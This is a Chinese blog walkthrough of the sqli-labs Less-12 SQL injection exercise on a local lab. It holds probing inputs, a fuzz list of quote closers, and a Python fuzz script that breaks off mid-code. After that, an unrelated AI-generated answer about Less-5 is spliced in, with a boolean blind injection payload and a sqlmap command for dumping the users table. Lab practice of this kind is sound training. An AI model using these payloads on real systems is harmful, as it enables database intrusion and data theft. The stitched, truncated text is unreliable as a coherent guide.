sqli-lab-less12

博客围绕sqli-lab-less12展开,介绍了靶标地址,进行了漏洞探测与源码分析,开展黑盒与白盒测试,还涉及脚本撰写和sqlmap的使用,最后进行总结,聚焦数据库安全相关内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sqli-lab-less12

一、靶标地址

Less-12 POST-Error Based-Double quotes-String - with twist
#字符型带双引号和括号基于报错的SQL注入
http://127.0.0.1/sqli/less-12/

二、漏洞探测

输入admin admin
得到post数据包
uname=admin&passwd=admin&submit=Submit
#Your Login name:admin
#Your Password:admin

猜测业务逻辑流程应该是根据输入的username、password去查询然后进行比对
uname=1")&passwd=2&submit=Submit
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") and password=("2") LIMIT 0,1' at line 1

猜测语句为 ") and password=("2") LIMIT 0,1
推测语句为select username,password from users where username= ("$uname") and password='$passwd' limit 0,1;
fuzz.txt
'
"
')
")
'))
"))
#使用python脚本进行fuzz
import requests

url="http://192.168.128.159/sqli/less-12/index.php"
#F12查看或者burpsuite抓包
header={
   
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36','Accept-Language': 'en-US,en;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
file = open("./fuzz-12.txt","r")
payloads = file.read().splitlines()

for i in range(len(payloads)):
    print("==============This is "+ str(i) + payloads[i]+"==============")
    subpayload = "1" + payloads[i]
    payload = {
   
            "uname" 
### SQLi-Lab 第五关 解法分析 SQLi-Lab 的第五关通常涉及布尔盲注攻击方式。通过构造特定的 SQL 查询语句,可以逐步推断数据库中的数据内容。以下是针对该关卡的具体解法说明: #### 基本原理 在布尔盲注中,攻击者利用条件判断的结果来推测查询返回的内容。例如,在已知表名 `security.users` 和列名的情况下,可以通过逐位猜测用户名或密码的 ASCII 字符值实现信息提取[^1]。 #### 手动测试方法 假设目标 URL 是 `http://example.com/Less-5/?id=1`,可以通过以下方式进行手动注入尝试: 1. 构造一个基于布尔逻辑的查询字符串,用于验证某个字符是否存在。 2. 使用函数如 `ascii()` 和 `substr()` 来逐一获取字段值的每一位字符。 示例请求如下: ```plaintext ?id=1' AND ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))>97-- ``` 上述请求的作用是检查第一个用户的用户名的第一个字符是否大于 ASCII 值 97(即字母 'a')。如果页面正常显示,则表示条件成立;反之则不成立。通过不断调整比较值并记录结果,最终可还原完整的用户名或密码。 #### 自动化工具辅助 对于更复杂的场景或者为了提高效率,推荐使用自动化渗透测试工具 Sqlmap 进行扫描和数据分析。执行命令前需确认目标站点支持 GET 请求参数传递,并准备好相应的配置文件或直接指定URL地址[^2]。 以第5关为例,启动Sqlmap时应包含以下选项: ```bash python sqlmap.py -u "http://sqli-labs-php7-master/Less-5/?id=1" --batch -D security -T users --columns ``` 此脚本会自动探测可用漏洞并向用户提供关于选定数据库及其结构的信息摘要。 另外需要注意的是某些特殊情况下可能还需要额外提供闭合符号或者其他上下文依赖型语法片段才能成功完成整个过程[^3]。 ### 注意事项 实际操作过程中应当遵循合法授权范围内的活动准则,未经授权不得对任何真实环境下的网络服务实施此类行为以免触犯法律法规。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值